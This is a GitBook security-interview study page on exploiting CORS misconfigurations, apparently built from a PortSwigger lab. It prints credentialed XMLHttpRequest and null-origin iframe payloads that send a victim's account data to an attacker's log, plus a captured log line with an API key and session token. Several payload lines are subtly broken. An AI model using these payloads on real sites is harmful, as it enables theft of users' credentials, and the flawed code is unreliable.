Interview Bank
  • Interview Bank
  • Web
    • Persistent Connection and Non Persistent
    • CDN
    • Code Review
    • JWT
      • JWT vs Session Based Authentication
      • JWT Challenge
      • JWE
      • JWS
    • Content Security Policy (CSP)
    • Same-origin Policy (SOP)
    • Cross-Origin Resource Sharing (CORS)
      • Exploiting CORS
    • HTTP Strict Transport Security (HSTS)
    • SQL Injection (SQLi)
    • Password Encryption in Login APIs
    • API Security
      • API Principles
    • Simple bypass PHP
    • Server-side Template Injection (SSTI)
    • Javascript Object and Inheritance
    • HTTP/2
    • Cookie vs Local vs session Storage
    • XML External Entity (XXE)
    • What happened when enter domain name in browser
    • Prototype Pollution - Part 1
    • Prototype Pollution - Part 2
    • Nginx vs Apache
  • OT Security
    • Securing Operational Technology: Understanding OT Security
  • Quantum Computing
    • Quantum Computing: Unveiling the Cryptographic Paradigm Shift
    • Quantum Obfuscation: Shielding Code in the Quantum Era
  • DevSecOps
    • Continuous Integration/Continuous Deployment Pipeline Security
    • Chaos Engineering Overview
      • Security Chaos Engineering
    • Mysql VS redis
    • Kubernetes (k8s)
    • How MySQL executes query
    • REDIS
    • Difference between cache and buffer
  • Windows
    • Pentesting Active Directory - Active Directory 101
    • Pentesting Active Directory - Kerberos (Part 1)
    • Pentesting Active Directory - Kerberos (Part 2)
    • AD vs Kerberos vs LDAP
    • Active Directory Certificate Services Part 1
    • Unconstrained Delegation
    • AS-REP Roasting
    • NTLM Relay via SMB
    • LLMRN
    • Windows lateral movement
    • Constrained Delegation
    • Resource-Based Constrained Delegation
    • IFEO (lmage File Execution Options) Hijacking
  • UNIX
    • Setuid
  • Large Language Models (LLMs)
    • Tokens
    • LangChain
    • Integration and Security
  • Android
    • Keystore
  • Red team development
    • Secure C2 Infrastructure
    • P Invoke in c#
    • D Invoke
    • ExitProcess vs ExitThread
  • Blue Team
    • Indicators of Compromise
    • Methods to prevent Email domain spoofing
    • Windows Prefetching
  • CVE
    • XZ Outbreak CVE-2024-3094
    • Log4J Vulnerability (CVE-2021-44228)
    • SolarWinds Hack (CVE-2020-10148)
    • PHP CGI RCE (CVE-2024-4577)
    • Windows Recall
  • Software Architecture
    • Microservices
    • KVM
  • Docker
    • Overview
    • Daemon Socket
    • Tips to reduce docker size
  • Blockchain
    • Overview
    • Smart Contract
  • Business Acumen
    • Market Research Reports and Perception
    • Understanding Acquisitions
    • Cybersecurity as a Business Strategy
  • Cyber Teams
    • Introduction to Purple Teaming
  • Malware
    • Dynamic Sandbox Limitations
Powered by GitBook
On this page
  • Error parsing Origin headers
  • Whitelisted null origin value
  • Exploiting XSS via CORS trust relationships
  • Author
  1. Web
  2. Cross-Origin Resource Sharing (CORS)

Exploiting CORS

PreviousCross-Origin Resource Sharing (CORS)NextHTTP Strict Transport Security (HSTS)

Last updated 8 months ago

Assume a website has insecure CORS configuration that trusts all origins, attacker can craft a malicious HTML to lure the victim to click and extract sensitive information and sent to attacker.

Here is one example from portswigger:

A login user visit /accountDetails is allowed to get a respond of the user details including apikey and sessions.

If we add any origin for testing, the response will show the origin is allowed.

With this, it has no restriction of javascript origin, we can craft a malicious html page embedded with javascript to steal the respond in accountDetails

<script>
    var xhr = new XMLHttpRequest();
    xhr.onload = function(){
        location('/log?key=' + xhr.respondTexte;)
    }
    xhr.open('GET','<vulnerablesites>/accountDetails",true);
    xhr.withCredentials = true;
    xhr.send();
</script>

After the victim click the link and visit the sites

10.0.3.227 X-X-X X:X:X:X +0000 "GET /log? key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22: %20%2268GUX0NAnVliC8aazO5LXijOQTPQQBWG%22,%20%20%22sessions%22:%20[%20%20%20%20%22TtWQVO4D3gfH7Ye50DdMGNpo7EfBkysI%22%20%20]} HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0.0 Safari/537.36

The logs will store the api keys

Error parsing Origin headers

Some applications have a whitelisted origins, When a CORS request being made, the server origin is compared to the whitelist, if the origin appears on the whitelists then it reflected in the Access-Control-Allow-origin header so that the access is granted.

E.g.

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

The application checks the supplied origin against its list of allowed origins and, if it is on the list, reflects the origin as follows:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Some mistakes when implementing CORS origin whitelists is some organization decide to allow access from all their subdomains e.g. *normal.sites .

An attacker might be able to gain access by registering the domain:

hackerman-normal.sites

Whitelisted null origin value

The specification for the Origin header supports the value Null . Browser might send the value null in the Origin header in various unusual situations:

  • Cross-origin redirects

  • Requests from seralized data

  • Request using the file: protocol

  • Sandboxed cross-origin requests

One of the technique is using iframe sandbox, it isolated the iframe freom the rest of the web context, stripping away any traditional origin and set the origin to null

We modified the previous payload to include a iframe:

<iframe sandbox="allow-scrtips allow-top-nagivation allow-forms" scriptdoc="
<script>
    var xhr = new XMLHttpRequest();
    xhr.onload = function(){
        location('/log?key=' + xhr.respondTexte;)
    }
    xhr.open('GET','<vulnerablesites>/accountDetails",true);
    xhr.withCredentials = true;
    xhr.send();
</script>">
</iframe>

With this new payload, it can effective send a null origin iframe that trigger the javascript.

Exploiting XSS via CORS trust relationships

Even "correctly" configured CORS establishes a trust relationship.

If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

Author

Ik0nw